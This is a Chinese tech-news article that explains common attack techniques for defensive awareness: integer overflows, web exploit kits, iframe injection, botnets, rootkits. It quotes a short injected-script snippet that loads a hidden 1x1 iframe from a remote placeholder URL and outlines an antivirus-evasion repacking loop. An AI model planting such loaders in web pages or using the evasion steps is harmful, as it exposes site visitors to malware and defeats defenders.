扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
最近一台被黑客控制的服务器被发现,上面包含了1.4GB从世界各地被感染计算机窃取来的企业和个人数据,其中包含众多银行帐号信息和5000多个大型金融机构的日志文件。为了更好的防护自己,我们需要了解黑客进行入侵和攻击的手法。安全业著名记者Davey Winder近日发表分析文章,从一个黑客的角度揭示了他们经常使用的技术。
黑客作为英雄的时代已经过去,今天多数黑客的目光都盯在了金钱上,其攻击的主要目标是商业公司的客户数据库。因为这些数据中包含了大量的信用卡信息、个人数据和其它有助于其窃取银行账号的信息。据市场分析机构Gartner表示,大约有75%的安全入侵都是通过软件安全漏洞进行的。鉴于企业越来越多的使用基于Web的应用,这个结果并不令人感到惊讶。
对于黑客来说,获取数据访问权限的最简单方法之一就是发现系统的一个后门,导致该后门的原因可能是不妥当的软件配置,或者编程漏洞,或者未能即时安装已经发布的漏洞补丁。
一、利用整数溢出(integer overflow)
无论是随意的编程,还是懒散的补丁安装,都可以给用户带来整数溢出安全缺陷,而它正是最受黑客喜爱的入侵方法之一。那么什么是整数溢出?它可以给黑客带来什么好处?简单的说,数字溢出是一种软件行为,导致的原因是数字运算的结果超出了系统所能处理的范围。安全专业厂商Coverity的C/C++和Java程序员Sumant Kowshik表示,“当一个数字运算得出了一个系统位宽无法存储的大结果时,该结果会被截取,会得到异常的结果值,这个溢出的值可以被用来实现一个关键的操作,诸如数组索引、内存分配或内存废弃等。”这类行为不仅可以让软件崩溃,而且还可以被黑客利用来访问系统中的特权内存内容。
实际上,所有这些安全缺陷都与数字运算产生不可信赖、用户可修改数值有关,潜在的溢出结果数据被用来作为进行诸如内存分配或缓冲区索引之类的关键操作。Kowshik表示,“通过利用整数溢出来重写任意存储位置,黑客能够以超级用户权限来运行安全关键应用,在现实世界软件中的整数溢出安全缺陷实例中,攻击者可以使用任意代码的地址来覆盖程序需要跳转的地址。”以下整数溢出除了打印错误值之外并不进行任何操作,因此该程序并不会造成破坏:
X = 0;
if (a > MAX_INT /2 && b > MAX_INT / 2)
/* x will *not* be equal to a + b */
x = a + b;
print(“x = %d\n”, x);
但是,有时候一个恶意用户可以借助整数溢出来控制内存分配尺寸,并且让系统执行恶意操作,诸如以下代码:
x = get_some_number_from_a_packet()
/*overflow in computation */
P = malloc(x * sizeof(int));
/* bad problem here */
P[x-1] = 0;
这种方法看似有些麻烦,是许多脚本小子(script-kiddies)们使用的方法,不过,借助于最新的现成恶意软件工具,只需点击几下鼠标就可以实现这种复杂的攻击。
二、Web漏洞利用工具集(Web Exploit Toolkits)
Web漏洞利用工具集已经存在了很长时间,目前已经存在了许多不同的工具集,诸如MPack、IcePack、AdPack,当然还有Neosploit.花钱不多即可从网上买到这类工具,购买后一个小时内即可将其激活。购买者所需要做的就是增加一个键盘记录器路径,输入所希望的数据发送目的地,并将其运行在某个服务器上。然后就是发送垃圾信息来引诱攻击目标到陷阱网站上。
正如杀毒软件公司AVG的首席研究官Roger Thompson所言,几乎所有的Web漏洞利用工具集都可以追溯到WebAttacker.“当访问者被引诱到一个WebAttacker网站时,它可以检查其浏览器和操作系统的类型,可以查看是否安装了特定应用程序,然后将它认为最容易被利用的漏洞发送给攻击者。”另外,它还将跟踪你的IP地址,更有趣的是,对于一种漏洞利用方式,它只进行一次尝试。Tompson表示,“其基本指导思想是,如果你是一个真正的用户,它们在利用一个漏洞攻击你时,要么第一次取得成功,要么就永远不会成功。”
WebAttacker一直备受黑客的喜爱,不过在2006年其新增了一些漏洞利用方法未能正常使用后,它逐渐被人们所放弃。几个月后,MPack和Neosploit先后问世,这两个工具集都增加了更好的加密,同时还增加了更频繁和准确的漏洞利用方法更新。 三、借助子框架
尽管多数普通被感染网站欺骗用户的方法依然是简单的链接垃圾信息,不过仅仅依靠欺骗下载和含有恶意软件的色情网站的时代已经过去了。SophosLabs的首席病毒研究员Fraser Howard表示,“通过入侵合法网站,攻击者可以增加某些恶意代码,当用户简单的浏览网页时就可以被加载这些恶意程序。当目标网站具有非常大的用户群时,这个技术可能非常有效。”HTML提供了非常方便的方式来加载附加内容。
用于入侵网站的最常见方法之一包括使用
由于许多合法的Web页面也使用具有相同属性的iframe标签,对受感染网页的提前探测就非常关键。举例来说,Pintadd攻击借助于使用iframe技术加载远程恶意内容的一个脚本来入侵了许多网站,攻击者只是进行了一点细微的修改。
Howard表示,“该脚本并没有简单的使用‘document.write()’,而是使用了‘createElement()’方法来创建一个iframe元素,然后设置其属性,并使用‘appendChild()’方法来将其添加到当前页面中。”
var url=http://domain/path/index.php;
var ifr=document.createElement(iframe);
ifr.setAttribute(src,url);
ifr.frameBorder=0;
ifr.width=1;
ifr.height=1;
document.body.appendChild(ifr)
对于被攻击者来说,其最终效果与直接修改页面的iframe标签是完全一样的。对于安全产品来说,这是又一个需要克服的挑战。 四、发展僵尸网络
病毒和恶意软件之间语义上的区别正在日渐模糊,病毒作者也已经逐渐转向追求经济利益。
现在许多病毒的目标只是简单的修改HTML或PHP/ASP脚本,通常通过增加iframe标签作为感染过程的一部分。那么黑客如何通过病毒来获取金钱方面的收入?这个问题的答案有很多种,每个答案都基于能够使用命令及控制通道远程控制许多被感染的计算机(僵尸网络)。在你完成了传播过程后,任何现代病毒的主要功能就是通信通道。
Fortinet威胁响应团队负责人Guillaume谈论了一个僵尸网络的工作原理。“现在从僵尸到僵尸控制者的通信一般是经过加密的,命令及控制通道也各不相同。最初阶段一般是一个IRC通道,它可能是一个Webserver,一个即时通讯系统或一个特定协议。它可以是分布式的,例如诸如Storm之类的现代P2P僵尸网络。”一旦一个僵尸控制者控制了大量被感染的计算机,他可以命令它们来发送垃圾广告信息,或安装广告插件来获得收入。僵尸控制者还可以将它们作为TCP/IP代理,来向那些希望匿名的计算机犯罪分子或恐怖分子出租,这些人可能使用它们来发起分布式拒绝服务攻击(DDoS)。当然,僵尸控制者自然不会放过被感染计算机上任何能给他带来经济收入的数据信息,其中包括银行数据、密码和软件许可等。 五、借rootkit隐藏自己
正如Lovet所指出的那样,一个好的牧羊者应该保持其羊群的健康;一个僵尸网络控制者所拥有的僵尸计算机越多,他就可以赚取更多的金钱。鉴于此点,病毒使用启动注册表键和内核驱动加载器来保证重启后自己仍然被运行。另外,它们还尽量保持隐蔽,因为它们不希望被感染的计算机重装操作系统。Lovet表示,“以上要求导致了今天大部分病毒嵌入在rootkit模块中,以躲避用户和反病毒软件的眼睛。”
目前有两类相关的rootkit:内核级rootkit和用户级rootkit.前者直接将自己附着在操作系统内核中,以避免被任务管理器所列出,而后者一般是直接挂钩(hook)在系统API上。在任务管理器类应用程序中可以发现这类rootkit.据Lovet表示,恶意软件分发者一般通过以下四步来让病毒躲过扫描。
1、修改病毒代码,并使用一个‘exe’封装程序对其重新封装,这会创建一个完全不同的二进制映像。
2、提交该文件到一个公开或私有的躲避所有反病毒软件扫描的服务中。
3、如果该文件被某些反病毒产品所检测到,那么重返第1步。
4、分发。
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者